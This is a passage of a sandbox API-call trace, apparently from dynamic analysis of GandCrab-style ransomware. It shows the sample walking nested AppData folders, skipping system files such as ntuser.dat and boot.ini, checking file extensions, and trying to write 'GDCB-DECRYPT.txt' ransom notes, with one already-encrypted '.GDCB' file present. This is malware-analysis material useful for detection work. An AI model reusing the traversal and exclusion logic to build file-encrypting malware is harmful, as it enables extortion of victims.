lpString2="autorun.inf") returned 1 [0170.385] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.385] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.385] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.385] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.385] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.385] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.385] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.385] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 237 [0170.385] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 237 [0170.385] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 236 [0170.385] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 236 [0170.385] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 228 [0170.385] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 228 [0170.385] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 228 [0170.385] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 228 [0170.385] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.385] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.385] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.385] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.385] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.385] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.385] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.385] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.385] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.385] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.385] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.385] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.385] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.385] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\") returned 223 [0170.385] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*" [0170.385] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*", lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 0x5a4e98 [0170.386] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe") returned 228 [0170.386] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data") returned 239 [0170.386] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\CEF") returned 226 [0170.386] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms") returned 228 [0170.386] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDCB-DECRYPT.txt") returned 239 [0170.386] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.386] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google") returned 229 [0170.386] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History") returned 230 [0170.386] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db") returned 235 [0170.386] lstrcmpW (lpString1=".db", lpString2=".sql") returned -1 [0170.386] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft") returned 232 [0170.386] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\MicrosoftEdge") returned 236 [0170.386] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla") returned 230 [0170.386] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages") returned 231 [0170.386] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\PeerDistRepub") returned 236 [0170.386] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Publishers") returned 233 [0170.386] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp") returned 227 [0170.386] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files") returned 247 [0170.386] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer") returned 236 [0170.386] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\VirtualStore") returned 235 [0170.386] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\\\GDCB-DECRYPT.txt") returned 240 [0170.387] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.389] GetLastError () returned 0x50 [0170.389] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\") returned 223 [0170.389] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*" [0170.389] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*", lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 0x5a4e98 [0170.389] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.389] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.389] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.389] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.389] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\") returned 229 [0170.389] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*" [0170.389] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*", lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 0x5f6830 [0170.389] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat") returned 236 [0170.389] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef") returned 236 [0170.389] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color") returned 234 [0170.389] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 245 [0170.389] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.389] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\\\GDCB-DECRYPT.txt") returned 246 [0170.389] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.391] GetLastError () returned 0x50 [0170.391] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\") returned 229 [0170.391] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*" [0170.391] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*", lpFindFileData=0x285d6c8 | out: lpFindFileData=0x285d6c8) returned 0x5f6730 [0170.392] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.392] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.392] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.392] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.392] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\") returned 237 [0170.392] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*" [0170.392] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*", lpFindFileData=0x285d1d0 | out: lpFindFileData=0x285d1d0) returned 0x5f69b0 [0170.392] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC") returned 239 [0170.392] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 253 [0170.392] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.392] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\\\GDCB-DECRYPT.txt") returned 254 [0170.392] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.394] GetLastError () returned 0x50 [0170.394] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\") returned 237 [0170.394] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*" [0170.395] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*", lpFindFileData=0x285d440 | out: lpFindFileData=0x285d440) returned 0x5f69f0 [0170.395] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.395] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.395] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.395] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.395] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\") returned 240 [0170.395] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*" [0170.395] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x285cf48 | out: lpFindFileData=0x285cf48) returned 0x5f6570 [0170.395] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned 258 [0170.395] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.395] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned 258 [0170.395] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.395] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned 257 [0170.395] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.395] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned 257 [0170.395] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.395] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache") returned 245 [0170.395] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 256 [0170.395] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.395] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned 261 [0170.396] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0170.396] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\\\GDCB-DECRYPT.txt") returned 257 [0170.396] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\dc\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.398] GetLastError () returned 0x50 [0170.399] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned 258 [0170.399] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application 